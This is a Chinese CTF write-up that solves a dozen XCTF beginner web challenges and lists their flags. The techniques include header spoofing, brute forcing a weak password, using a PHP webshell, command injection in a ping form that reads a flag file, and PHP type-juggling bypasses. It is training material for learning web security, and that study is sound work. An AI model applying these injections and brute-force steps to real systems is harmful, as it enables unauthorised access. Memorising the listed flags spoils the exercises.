xctf攻防世界—Web新手练习区 writeup

view_source

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

进入页面后显示:“FLAG is not here”,鼠标右键菜单栏不能正常触发,通过在题目地址前添加view-source:访问网页源码,得到flag

<h1>FLAG is not here</h1>
<!-- cyberpeace{dbc38d67602cd1dfa7f62bdd90824fc7} -->

get_post

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

进入页面后显示:“请用GET方式提交一个名为a,值为1的变量”,在地址栏输入?a=1通过GET方式传递参数;
得到新的提示:“请再以POST方式随便提交一个名为b,值为2的变量”,通过Google Chrome的插件HackBar通过POST方式传递参数:b=2
b=2
得到flagcyberpeace{0f013ed4965abfc7d2f6100703245650}

robots

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

访问网页显示为空白,尝试查询robots协议/…题目地址…/robots.txt

User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php

继续访问/…题目地址…/f1ag_1s_h3re.php,得到flagcyberpeace{a80e5bcf6423bc3fe5707a10c2676c3b}

backup

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

进入页面后显示:“你知道index.php的备份文件名吗?
根据提示,下载index.php的备份文件,即访问index.php.bak,下载到备份文件后放入HEX Fiend工具中打开,在结尾得到flag
flag

cookie

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

进入页面后显示:“你知道什么是cookie吗?”,通过Burp Suite抓取数据包,得到提示:
cookie
访问cookie.php,得到新的提示:“See the http response”,使用Google Chrome插件HTTP Headers查看,得到flag
flag

disabled_button

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

button
提示为前端知识,查看网页源码:

<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />

将“<input>”标签中的disabled属性删除掉,得到flagcyberpeace{3f9351e76f3719a11933dabb19cd8b9c}

simple_js

难度系数: 1.0
题目来源: root-me
题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

进入网页后需要输入密码:

密码输入错误,查看网页源码:

<script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

</script>

dechiffre中的十六进制转换为字符串,得到55,56,54,79,115,69,114,116,107,49,50,对照ASCII码表转换为字符串:786OsErtk12,添加正确格式即为flag

xff_referer

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:X老师告诉小宁其实xff和referer是可以伪造的。

进入页面后显示:“ip地址必须为123.123.123.123”,通过Google Chrome插件ModHeader添加请求头信息:X-Forwarded-For: 123.123.123.123,刷新页面得到新的提示:必须来自https://www.google.com,继续添加请求头信息Referer: https://www.google.com,刷新页面得到flagcyberpeace{68d1f3f8fb33701e06ee0c5db9895426}

weak_auth

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。

login
尝试输入账号密码登陆:
admin
根据提示随手设置的密码,感觉为弱密码爆破,使用Burp Suite抓取登陆时的数据包:
burp
Send to Intruder后,选择攻击模式为Sniper修改需要暴力破解的变量:
password
弱类型密码字典粘贴到Payload Options
payload
开始暴力破解攻击,通过长度判断是否成功登陆:
在这里插入图片描述得到登陆密码:123456,登陆后得到flagcyberpeace{681a629f7ffb7f44b6685750fdeda872}

webshell

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

webshell
一句话已经给出,使用中国蚁箭,添加目标信息:
shell
flag
在文件列表中发现flag.txt,访问该文件得到flagcyberpeace{94155f1370b8c864793a8a87dd617af4}

command_execution

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

ping
题目名为控制台命令执行先尝试输入本地IP:

ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.038 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.038/0.059/0.088/0.022 ms

得到了输入的命令:ping -c 3:对输入的地址检查三次是否连通,尝试是否有访问文件的权限:127.0.0.1 | ls

ping -c 3 127.0.0.1 |  ls
index.php

有访问目录的权限,继续查询主目录,在home文件目录下发现:flag.txt

ping -c 3 127.0.0.1 |  ls ../../../home/
flag.txt

尝试打开flag.txt,输入控制台命令:127.0.0.1 | cat ../../../home/flag.txt,得到flagcyberpeace{9a27a9c1e0ac69bd09ddf1d1557ea2aa}

知识点:命令执行

WindowsLinux下:
command1 && command2:先执行command1后执行command2
command1 | command2:只执行command2
command1 & command2:先执行command2后执行command1

simple_php

难度系数: 1.0
题目来源: Cyberpeace-n3k0
题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php 
show_source(__FILE__); 
include("config.php"); 
$a=@$_GET['a']; 
$b=@$_GET['b']; 
if($a==0 and $a){ 
    echo $flag1; 
} 
if(is_numeric($b)){ 
    exit(); 
} 
if($b>1234){ 
    echo $flag2; 
} 
?> 

分析代码:通过GET方式传入变量a和变量b的值,其中需要a=0但有又不能为0b不能为纯数字但药大于1234
通过“==”比较漏洞我们可以绕过比较,即在比较时,PHP会把变量值先转换为相同类型再进行比较,在地址栏中构造如下传参:?a=0c&b=1235c,访问便得到flagCyberpeace{647E37C7627CC3E4019EC69324F66C7C}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值